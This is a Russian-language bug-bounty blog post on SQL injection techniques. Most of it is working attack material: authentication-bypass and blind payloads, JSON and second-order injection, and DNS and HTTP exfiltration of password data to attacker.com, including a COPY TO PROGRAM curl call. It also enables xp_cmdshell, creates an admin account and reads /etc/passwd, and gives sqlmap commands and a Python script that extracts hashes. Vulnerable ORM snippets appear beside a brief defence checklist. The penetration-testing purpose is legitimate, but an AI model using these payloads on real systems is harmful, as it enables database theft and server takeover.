💉 SQL-инъекция в 2025: старая школа, новые трюки
Привет, хакеры! Думаешь, SQL-инъекции вымерли как динозавры? Ха! В 2025 году они до сих пор в OWASP Top 3, и я каждую неделю нахожу их на боевых продах. 💰
Сегодня расскажу, как древняя уязвимость эволюционировала и какие новые техники работают, когда классика забанена.
🔍 Почему SQLi всё ещё жива?
Три причины:
1. Legacy код — миллионы строк старого PHP/Java живут и процветают
2. Новички в разработке — не все читали про prepared statements
3. Микросервисная архитектура — больше сервисов = больше точек входа
Короче, пока разработчики пишут код, SQLi будет приносить нам bounty. 😎
🎯 Классика, которая всё ещё работает
Базовый тест (всегда начинай с этого):
/* Простейшая проверка */
' OR '1'='1
" OR "1"="1
' OR 1=1--
') OR ('1'='1
/* Boolean-based */
' AND 1=1-- (true)
' AND 1=2-- (false)
/* Time-based (если нет вывода) */
' AND SLEEP(5)--
'; WAITFOR DELAY '00:00:05'--
Лайфхак: Всегда проверяй все параметры — GET, POST, Cookies, Headers. Находил SQLi даже в User-Agent! 💣
🔥 Новая школа: обход современных защит
Трюк #1: JSON-based SQLi (тренд 2025)
API используют JSON → разработчики забывают санитизировать внутри JSON.
/* Обычный запрос */
{"user_id": 123, "action": "view"}
/* SQLi через JSON */
{"user_id": "123' OR '1'='1", "action": "view"}
/* Ещё грязнее: вложенный JSON */
{
"filters": {
"status": "active' UNION SELECT password FROM users--"
}
}
/* NoSQL + SQL combo (MongoDB + MySQL backend) */
{
"username": {"$ne": null},
"password": "' OR '1'='1"
}
Трюк #2: Second-Order SQLi (отложенное исполнение)
Payload срабатывает не сразу, а когда данные используются повторно.
/* Шаг 1: Регистрация с payload в имени */
Username: admin'--
Email: hacker@test.com
/* Шаг 2: Приложение сохраняет в БД */
INSERT INTO users (username) VALUES ('admin'--')
/* Шаг 3: Логин-форма использует имя в запросе */
SELECT * FROM sessions WHERE username = 'admin'--' AND password = 'xxx'
Результат: Логин без пароля! WAF не палит, потому что инъекция происходит на уровне БД, а не HTTP-запроса. 🔥
Где искать:
• Профиль пользователя (bio, username, address)
• Комментарии и отзывы
• Email templates
• CSV импорт данных
Трюк #3: ORM SQLi (когда думают, что защищены)
Многие используют ORM (Django, Hibernate) и думают “я защищён”. НЕТ!
# Django — небезопасно (raw queries)
User.objects.raw("SELECT * FROM users WHERE id = " + user_input)
# Правильно
User.objects.filter(id=user_input)
# Но есть дырка через extra()
User.objects.extra(where=["username = '%s'" % user_input]) # SQLI!
Аналогично в других ORM:
// Hibernate HQL injection
session.createQuery("FROM User WHERE name = '" + input + "'")
// Node.js Sequelize
sequelize.query("SELECT * FROM users WHERE id = " + req.query.id)
Мораль: ORM != безопасность. Проверяй raw queries и методы типа `extra()`, `raw()`, `createQuery()`.
Трюк #4: Blind SQLi через DNS exfiltration
Когда нет вывода ошибок, времени ждать лень → используй DNS.
/* MySQL */
' AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\abc')))--
/* PostgreSQL */
'; COPY (SELECT password FROM users) TO PROGRAM 'curl http://attacker.com?data='--
/* MSSQL */
'; EXEC master..xp_dirtree '\\' + (SELECT TOP 1 password FROM users) + '.attacker.com\share'--
Как это работает:
1. SQL-запрос делает DNS-lookup к твоему домену
2. В поддомене — украденные данные
3. Ты ловишь их через DNS-логи
Инструмент: Burp Collaborator или собственный DNS-сервер. Работает даже через жёсткие фаерволы! 💀
Трюк #5: SQLi через XML (XXE + SQLi combo)
Если приложение парсит XML → можешь засунуть SQL в XML-entity.
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<id>&xxe;</id>
</user>
<!-- Комбо: XXE для чтения SQLi payload из файла -->
<!DOCTYPE foo [
<!ENTITY sqli SYSTEM "http://attacker.com/sqli.txt">
]>
<search>&sqli;</search>
Где встречается: API, SOAP сервисы, RSS парсеры, XML-based конфиги.
🛠️ Автоматизация: инструменты 2025
# sqlmap (вечная классика, но с новыми фишками)
sqlmap -u "http://target.com/api?id=1" \
--json="{'id': 1}" \
--tamper=space2comment,between \
--level=5 --risk=3
# Для GraphQL
python3 graphql-sqli-scanner.py -u http://target.com/graphql
# NoSQL + SQL комбо
nosqlmap -u "http://target.com/search" --json
# Мой custom скрипт для Second-Order
python3 second-order-hunter.py -u http://target.com --register /signup --trigger /profile
💡 Продвинутые техники извлечения данных
- Chunked exfiltration (для больших данных):
/* Извлекаем по одному символу через SUBSTRING */
' AND SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1) = 'a'--
' AND SUBSTRING((SELECT password FROM users LIMIT 1), 2, 1) = 'b'--
Автоматизация:
import requests
url = "http://target.com?id=1"
password = ""
for i in range(1, 33): # hash обычно 32 символа
for char in "abcdef0123456789":
payload = f"' AND SUBSTRING((SELECT password FROM users LIMIT 1), {i}, 1) = '{char}'--"
r = requests.get(url + payload)
if "Welcome" in r.text: # условие успеха
password += char
print(f"[+] Found: {password}")
break
- Out-of-band data exfiltration:
/* Через HTTP запрос (MySQL с UDF) */
'; SELECT load_file(CONCAT('\\\\', (SELECT password FROM users), '.attacker.com\\a'))--
/* Через email (если есть права) */
'; EXEC msdb.dbo.sp_send_dbmail @recipients='hacker@test.com', @query='SELECT * FROM users'--
- Privilege escalation через SQLi:
/* MySQL: создаём админа */
'; INSERT INTO users (username, password, role) VALUES ('hax0r', 'hash', 'admin')--
/* MSSQL: включаем xp_cmdshell */
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--
/* PostgreSQL: читаем файлы сервера */
'; COPY (SELECT '') TO PROGRAM 'cat /etc/passwd > /tmp/pwned.txt'--
Внимание: Это для тестов в scope! Не делай на реальных продах без разрешения, а то сядешь. 🚔
🎯 Где искать SQLi в 2025?
Горячие точки:
✅ API endpoints — особенно REST/GraphQL
✅ Фильтры и поиск — сортировка, pagination
✅ Cookie-based параметры — session_id, user_token
✅ Headers — X-Forwarded-For, Referer, User-Agent
✅ File uploads — metadata в EXIF
✅ OAuth callbacks — параметры в redirect_uri
✅ WebSockets — JSON-сообщения
Топ-3 места для SQLi:
1. Search функционал (35%)
2. API параметры (28%)
3. Admin панели (22%)
🔐 Как защититься (для админов)
Если ты читаешь это и ты админ — вот чеклист:
✅ Prepared statements везде (PDO, mysqli_prepare, параметризированные запросы)
✅ ORM правильно (никаких raw queries с конкатенацией)
✅ Валидация входных данных (whitelist, не blacklist)
✅ Least privilege (БД-пользователь без прав на DROP/CREATE)
✅ WAF (но не полагайся только на него)
✅ Регулярные пентесты (наймите нас, хакеров 😏)
🎓 Мораль истории
SQL-инъекция — это как классический рок-н-ролл. Старая, но бессмертная. 🎸
В 2025 году она просто надела новую маску:
• JSON вместо GET-параметров
• GraphQL вместо REST
• Microservices вместо монолитов
Но суть та же: недоверие пользовательскому вводу = деньги в твоём кармане. 💰
🚀 Домашка для хакеров
1. Зайди на HackTheBox или TryHackMe
2. Пройди SQLi-лабы (есть бесплатные)
3. Попрактикуй все 5 трюков из поста
4. Найди свою первую SQLi в bug bounty
Удачной охоты, пусть ваши UNION’ы всегда SELECT’ят! 💉💻
#дневникхакера #sqli #sqlinjection #bugbounty #pentest #websecurity #ethicalhacking #owasp #hacking #infosec #redteam #cybersecurity
P.S. Если нашёл SQLi — пиши правильный отчёт с PoC, impact’ом и remediation. Так заплатят больше. 💸
P.P.S. Помни: `' OR '1'='1` — это не просто payload, это философия. Всегда есть способ обойти защиту, нужно лишь подумать. 🧠🔥
